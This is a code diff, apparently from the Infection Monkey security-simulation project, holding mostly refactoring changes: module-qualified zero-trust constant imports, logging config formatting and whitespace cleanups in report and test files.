try:

View File

@ -2,7 +2,6 @@ import os
import json
import logging.config
__author__ = 'Maor.Rayzin'

View File

@ -6,7 +6,6 @@
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
@ -14,7 +13,6 @@
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
@ -25,9 +23,11 @@
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
"handlers": [
"console",
"info_file_handler"
]
}
}

View File

@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)

View File

@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod

View File

@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase):
self.clean_monkey_db()
linux_monkey = Monkey(guid=str(uuid.uuid4()),
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64")
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
windows_monkey = Monkey(guid=str(uuid.uuid4()),
description="Windows bla bla bla")
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
@ -142,7 +142,7 @@ class TestMonkey(IslandTestCase):
cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_1.hits, 0)
self.assertEqual(cache_info_after_query_1.misses, 1)
logger.info("1) ID: {} label: {}".format(linux_monkey.id, label))
logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label))
self.assertIsNotNone(label)
self.assertIn(hostname_example, label)
@ -150,7 +150,7 @@ class TestMonkey(IslandTestCase):
# should be cached
label = Monkey.get_label_by_id(linux_monkey.id)
logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_2.hits, 1)
self.assertEqual(cache_info_after_query_2.misses, 1)
@ -160,7 +160,7 @@ class TestMonkey(IslandTestCase):
# should be a miss
label = Monkey.get_label_by_id(linux_monkey.id)
logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
logger.debug("3) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info()
logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
# still 1 hit only
@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding
@ -26,7 +26,7 @@ class AggregateFinding(Finding):
def add_malicious_activity_to_timeline(events):
AggregateFinding.create_or_add_to_existing(
test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
status=STATUS_VERIFY,
test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE,
status=zero_trust_consts.STATUS_VERIFY,
events=events
)

View File

@ -2,7 +2,7 @@ from datetime import datetime
from mongoengine import EmbeddedDocument, DateTimeField, StringField
from common.data.zero_trust_consts import EVENT_TYPES
import common.data.zero_trust_consts as zero_trust_consts
class Event(EmbeddedDocument):
@ -19,7 +19,7 @@ class Event(EmbeddedDocument):
timestamp = DateTimeField(required=True)
title = StringField(required=True)
message = StringField()
event_type = StringField(required=True, choices=EVENT_TYPES)
event_type = StringField(required=True, choices=zero_trust_consts.EVENT_TYPES)
# LOGIC
@staticmethod

View File

@ -5,7 +5,7 @@ Define a Document Schema for Zero Trust findings.
from mongoengine import Document, StringField, EmbeddedDocumentListField
from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY
import common.data.zero_trust_consts as zero_trust_consts
# Dummy import for mongoengine.
# noinspection PyUnresolvedReferences
from monkey_island.cc.models.zero_trust.event import Event
@ -30,18 +30,18 @@ class Finding(Document):
times, or complex action we will perform - somewhat like an API.
"""
# SCHEMA
test = StringField(required=True, choices=TESTS)
status = StringField(required=True, choices=ORDERED_TEST_STATUSES)
test = StringField(required=True, choices=zero_trust_consts.TESTS)
status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES)
events = EmbeddedDocumentListField(document_type=Event)
# http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
meta = {'allow_inheritance': True}
# LOGIC
def get_test_explanation(self):
return TESTS_MAP[self.test][TEST_EXPLANATION_KEY]
return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY]
def get_pillars(self):
return TESTS_MAP[self.test][PILLARS_KEY]
return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY]
# Creation methods
@staticmethod

View File

@ -1,11 +1,11 @@
from mongoengine import StringField
from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding
def need_to_overwrite_status(saved_status, new_status):
return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED)
return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED)
class SegmentationFinding(Finding):
@ -35,7 +35,7 @@ class SegmentationFinding(Finding):
new_finding = SegmentationFinding(
first_subnet=subnets[0],
second_subnet=subnets[1],
test=TEST_SEGMENTATION,
test=zero_trust_consts.TEST_SEGMENTATION,
status=status,
events=[segmentation_event]
)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import *
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.finding import Finding
@ -10,9 +10,9 @@ class TestAggregateFinding(IslandTestCase):
self.fail_if_not_testing_env()
self.clean_finding_db()
test = TEST_MALICIOUS_ACTIVITY_TIMELINE
status = STATUS_VERIFY
events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
status = zero_trust_consts.STATUS_VERIFY
events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)]
self.assertEqual(len(Finding.objects(test=test, status=status)), 0)
AggregateFinding.create_or_add_to_existing(test, status, events)
@ -29,9 +29,9 @@ class TestAggregateFinding(IslandTestCase):
self.fail_if_not_testing_env()
self.clean_finding_db()
test = TEST_MALICIOUS_ACTIVITY_TIMELINE
status = STATUS_VERIFY
event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
status = zero_trust_consts.STATUS_VERIFY
event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
events = [event]
self.assertEqual(len(Finding.objects(test=test, status=status)), 0)

View File

@ -1,6 +1,6 @@
from mongoengine import ValidationError
from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
@ -14,7 +14,7 @@ class TestEvent(IslandTestCase):
_ = Event.create_event(
title=None, # title required
message="bla bla",
event_type=EVENT_TYPE_MONKEY_NETWORK
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
)
with self.assertRaises(ValidationError):
@ -28,5 +28,5 @@ class TestEvent(IslandTestCase):
_ = Event.create_event(
title="skjs",
message="bla bla",
event_type=EVENT_TYPE_MONKEY_NETWORK
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
)

View File

@ -1,6 +1,6 @@
from mongoengine import ValidationError
from common.data.zero_trust_consts import *
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
@ -14,25 +14,26 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
"""
def test_save_finding_validation(self):
self.fail_if_not_testing_env()
self.clean_finding_db()
with self.assertRaises(ValidationError):
_ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[])
_ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[])
with self.assertRaises(ValidationError):
_ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[])
_ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[])
def test_save_finding_sanity(self):
self.fail_if_not_testing_env()
self.clean_finding_db()
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0)
event_example = Event.create_event(
title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example])
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example])
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
self.assertEqual(len(Finding.objects(status=STATUS_FAILED)), 1)
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
@ -12,11 +12,11 @@ class TestSegmentationFinding(IslandTestCase):
first_segment = "1.1.1.0/24"
second_segment = "2.2.2.0-2.2.2.254"
third_segment = "3.3.3.3"
event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK)
event = Event.create_event("bla", "bla", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
SegmentationFinding.create_or_add_to_existing_finding(
subnets=[first_segment, second_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)
@ -26,7 +26,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
subnets=[second_segment, first_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)
@ -36,7 +36,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
subnets=[first_segment, third_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)
@ -45,7 +45,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
subnets=[second_segment, third_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)

View File

@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}

View File

@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)

View File

@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak'
# TODO: separate logic from interface

View File

@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island,
"edges": edges
}

View File

@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""

View File

@ -1,6 +1,5 @@
import http.client
import flask_restful
from flask import jsonify

View File

@ -1,18 +1,18 @@
from datetime import datetime
import logging
import threading
from datetime import datetime
import flask_restful
from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.report import ReportService
from monkey_island.cc.services.attack.attack_report import AttackReportService
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
safe_generate_reports
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database
__author__ = 'Barak'

View File

@ -22,8 +22,7 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({})
else:
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try:

View File

@ -2,7 +2,6 @@ from bson import json_util
import flask_restful
from flask import request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database

View File

@ -2,7 +2,6 @@ import flask_restful
import logging
from monkey_island.cc.environment.environment import env
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.version_update import VersionUpdateService
__author__ = 'itay.mizeretz'

View File

@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
@ -75,7 +74,10 @@ class AttackReportService:
Gets timestamp of latest attack telem
:return: timestamp of latest attack telem
"""
return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0]
return [
x['timestamp'] for x in
mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
][0]
@staticmethod
def get_latest_report():

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique):
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique):
tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique):
tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique):
tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = ""

View File

@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique):
tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = ""

Some files were not shown because too many files have changed in this diff Show More